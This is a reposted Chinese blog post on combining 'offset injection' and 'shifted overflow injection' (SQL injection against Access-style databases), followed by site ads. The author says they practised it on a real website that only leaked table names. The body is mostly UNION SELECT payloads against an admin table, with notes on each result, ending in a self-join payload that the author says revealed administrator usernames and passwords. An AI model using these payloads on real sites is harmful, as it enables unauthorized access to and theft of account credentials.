人品爆发:偏移注入与移位溢注的联合使用

栏目: 编程工具 · 发布时间: 5年前

内容简介:这个灵感是我突然冒出来的,最近有一个只能出来表名的站,一直没的机会实战,正好练习一下偏移注入和移位溢注,顺便总结一下,结果偏移注入成功了,移位溢注倒是不行了,心有不甘(我人品有这么差么?),才有了下文。偏移注入,移位溢注的正常的手法,原理在这里就不写了,描述下站点大概情况,方便大家了解,懂得自然懂。

人品爆发:偏移注入与移位溢注的联合使用

这个灵感是我突然冒出来的,最近有一个只能出来表名的站,一直没的机会实战,正好练习一下偏移注入和移位溢注,顺便总结一下,结果偏移注入成功了,移位溢注倒是不行了,心有不甘(我人品有这么差么?),才有了下文。

偏移注入,移位溢注的正常的手法,原理在这里就不写了,描述下站点大概情况,方便大家了解,懂得自然懂。

order by 12 - 正常 
union select 1,2,3,4,5,6,7,8,* from tbladmin - 正常

显示位

人品爆发:偏移注入与移位溢注的联合使用

开始移位溢注:

当我使用移位溢注时,遇到了一点小麻烦:

2.1 先测试位置显示位6(失败):

union select 1,2,3,4,5,tbladmin.*,10,11,12 from tbladmin

人品爆发:偏移注入与移位溢注的联合使用

union select 1,2,3,4,5,tbladmin.*,10,11,12 from tbladmin where id=1 - 返回同上
union select 1,2,3,4,5,tbladmin.*,10,11,12 from tbladmin where id=2 - 发布时间处:1变成了2
...
union select 1,2,3,4,5,tbladmin.*,10,11,12 from tbladmin where id=n - 开始一直返回正常页面了

2.2 然后测试显示位2和3(失败):

union select 1,tbladmin.*,6,7,8,9,10,11,12 from tbladmin - 爆出了一个用户名

人品爆发:偏移注入与移位溢注的联合使用

union select 1,tbladmin.*,6,7,8,9,10,11,12 from tbladmin where id=1 - 返回内容同上
union select 1,tbladmin.*,6,7,8,9,10,11,12 from tbladmin where id=2 - 如下图,一个新的用户名
...
union select 1,tbladmin.*,6,7,8,9,10,11,12 from tbladmin where id=n - 开始一直返回正常页面了

人品爆发:偏移注入与移位溢注的联合使用

到了现在,可以发现问题出现了,移位溢注的招式已经用完了,但是显示位明显不够啊,还是爆不出来密码,这样看来,移位溢注还是不能完全和人品说拜拜

联合使用出奇效:

偏移注入的本质是:打乱显示顺序

移位溢注的本质是:占用多处显位

都是为了有一定概率让账号密码出现在显示位上,那么 联合起来 会怎么样呢?下面语句不做分析,还是懂的人自然懂

union select 1,2,3,4,a.*,b.*, * from (tbladmin as a inner join tbladmin as b on a.id=b.id)

人品爆发:偏移注入与移位溢注的联合使用

union select 1,2,3,4,a.*, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 显示结果同上
union select 1,2,3,a.*,4, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 出现密码了

人品爆发:偏移注入与移位溢注的联合使用

union select 1,2,a.*,3,4, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 发生变化

人品爆发:偏移注入与移位溢注的联合使用

union select 1,a.*,2,3,4, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 继续变化

人品爆发:偏移注入与移位溢注的联合使用

union select a.*,1,2,3,4, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 同时显示

人品爆发:偏移注入与移位溢注的联合使用


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

引爆社群:移动互联网时代的新4C法则(第2版)

引爆社群:移动互联网时代的新4C法则(第2版)

唐兴通 / 机械工业出版社 / 69.00元

社群已经被公认为是这个时代的商业新形态,原有的商业逻辑和方法被颠覆,新的基于社群的商业体系和规则亟待构建,今天几乎所有的企业都在为此而努力,都在摸索中前行。 本书提出的“新4C法则”为社群时代的商业践行提供了一套科学的、有效的、闭环的方法论,第1版上市后获得了大量企业和读者的追捧,“新4C法则”在各行各业被大量解读和应用,积累了越来越多的成功案例,被公认为是社群时代通用的方法论。也因此,第1......一起来看看 《引爆社群:移动互联网时代的新4C法则(第2版)》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试